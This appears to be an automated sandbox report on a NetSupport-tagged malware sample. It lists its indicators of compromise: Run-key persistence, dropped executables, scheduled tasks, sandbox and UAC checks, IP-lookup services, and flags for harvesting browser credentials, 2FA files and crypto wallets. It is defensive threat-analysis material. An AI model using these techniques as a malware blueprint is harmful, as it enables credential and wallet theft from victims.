netsupport | 3cf08993fa4866df41dc37cec849e5a5e9d0bcb6ea6660c30130d9e2fd2f623d

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Control Panel\International\Geo\Nation	Setup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Control Panel\International\Geo\Nation	Setup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Control Panel\International\Geo\Nation	Kusamodihi.exe

Loads dropped DLL 19 IoCs

pid	Process
1812	setup_install.exe
1812	setup_install.exe
1812	setup_install.exe
1812	setup_install.exe
1812	setup_install.exe
1812	setup_install.exe
1812	setup_install.exe
1812	setup_install.exe
4940	Fri195cd4dbfdf37897.tmp
4940	Fri195cd4dbfdf37897.tmp
2968	Fri192b9eeaa03b.tmp
5700	rundll32.exe
4700	Fri192902b3c24.exe
4700	Fri192902b3c24.exe
6796	cmd.exe
6796	cmd.exe
7696	Mortician.exe
7960	rUNdlL32.eXe
7960	rUNdlL32.eXe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	3225153.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Adobe\\Bicokaefuwi.exe\""	46807GHF____.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce	tmpC25B_tmp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	tmpC25B_tmp.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 10 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	cmd.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	ultramediaburner.tmp
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Fri192c305b4a.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	tmpC25B_tmp.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Fri192b9eeaa03b.tmp
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	UltraMediaBurner.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	rUNdlL32.eXe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Fri195cd4dbfdf37897.tmp
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Setup.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Gitosidifae.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 10 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
127	ipinfo.io
281	freegeoip.app
284	freegeoip.app
286	freegeoip.app
291	freegeoip.app
13	ip-api.com
28	ipinfo.io
113	ip-api.com
129	ipinfo.io
21	ipinfo.io

Drops file in System32 directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\644B8874112055B5E195ECB0E8F243A4	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\644B8874112055B5E195ECB0E8F243A4	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\services64	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3256 set thread context of 5888	3256	svchost.exe	144

Drops file in Program Files directory 12 IoCs

description	ioc	Process
File created	C:\Program Files\Windows Defender Advanced Threat Protection\DGBPMYXVXB\ultramediaburner.exe.config	46807GHF____.exe
File opened for modification	C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe	ultramediaburner.tmp
File created	C:\Program Files (x86)\Adobe\Bicokaefuwi.exe.config	46807GHF____.exe
File created	C:\Program Files (x86)\UltraMediaBurner\unins000.dat	ultramediaburner.tmp
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\Visit.url	Setup.exe
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\Setup.exe	Setup.exe
File created	C:\Program Files\Windows Defender Advanced Threat Protection\DGBPMYXVXB\ultramediaburner.exe	46807GHF____.exe
File created	C:\Program Files (x86)\Adobe\Bicokaefuwi.exe	46807GHF____.exe
File created	C:\Program Files (x86)\UltraMediaBurner\is-OERT8.tmp	ultramediaburner.tmp
File created	C:\Program Files (x86)\UltraMediaBurner\is-O9BEF.tmp	ultramediaburner.tmp
File opened for modification	C:\Program Files (x86)\UltraMediaBurner\unins000.dat	ultramediaburner.tmp
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe	Setup.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	Explorer.EXE
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdge.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	WerFault.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 10 IoCs

pid	pid_target	Process	procid_target
5236	4820	WerFault.exe
5276	1608	WerFault.exe	108
5292	4876	WerFault.exe	106
5284	4612	WerFault.exe	114
5792	4820	WerFault.exe	136
5184	4820	WerFault.exe	136
5604	4820	WerFault.exe	136
5836	4820	WerFault.exe	136
6440	4820	WerFault.exe	136
6812	4820	WerFault.exe	136

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Impedire.exe.com
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Impedire.exe.com
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Impedire.exe.com

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Fri192902b3c24.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Fri192902b3c24.exe

Creates scheduled task(s) 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
7924	schtasks.exe
6876	schtasks.exe
1524	schtasks.exe
6704	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
7804	timeout.exe

Kills process with taskkill 5 IoCs

evasion

pid	Process
408	taskkill.exe
6248	taskkill.exe
6972	taskkill.exe
1352	taskkill.exe
7620	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe

Modifies data under HKEY_USERS 20 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	svchost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache\16\52C64B7E	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\Version = "7"	svchost.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{THWC794Y-FI2R-S1WY-Z6CW-JHPFT080JY70}	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\MigrationTime = b9d9ec28329fd701	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry\DOMStorage	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\ReadingStorePending = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\LastCleanup = 0000000000000000	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\FlipAheadCompletedVersion = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\DetectPhoneNumberComplete = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites	MicrosoftEdge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{THWC794Y-FI2R-S1WY-Z6CW-JHPFT080JY70}\7289246C77593EBF	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Extensible Cache	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\FontSize = "3"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\SyncIEFirstTimeFullScan = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionHigh = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DeviceId = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\DisallowDefaultBrowserPrompt = "0"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath\dummySetting = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\DatastoreSchemaVersion = "8"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionHigh = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\DynamicCodePolicy = 00000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IETld\LowMic	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\ACGPolicyState = "6"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = 0100000003984845bba2b6408d1e6aa904d7c68fb329fba69fbd6e3fe85d12e50c699c4bab834fe4c07f32fd73a7c4f12e848a6893497e974774fb8f624b	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 1086148e86a6d701	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VendorId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{LJDG576V-FJ1Y-M3DK-T0ZJ-KIMQL256VU13}	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url1 = "https://www.facebook.com/"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CacheLimit = "256000"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionHigh = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 8f10298786a6d701	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming\ChangeUnitGenerationNeeded = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\DatabaseComplete = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\New Windows\AllowInPrivate	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListDOSTime = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DeviceId = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-Revision = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration\AllComplete = "1"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IntelliForms	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = 01000000487987c1ea529f231a1210e0bdf0c4da880001921ecdec8f6773399e955c53c2110d76f391b76ca804845c0ee1d27291a02da684304cf32add63	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\FirstRecoveryTime = b9d9ec28329fd701	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CacheLimit = "1"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\InternetRegistry	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy\Extensions	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus	MicrosoftEdge.exe
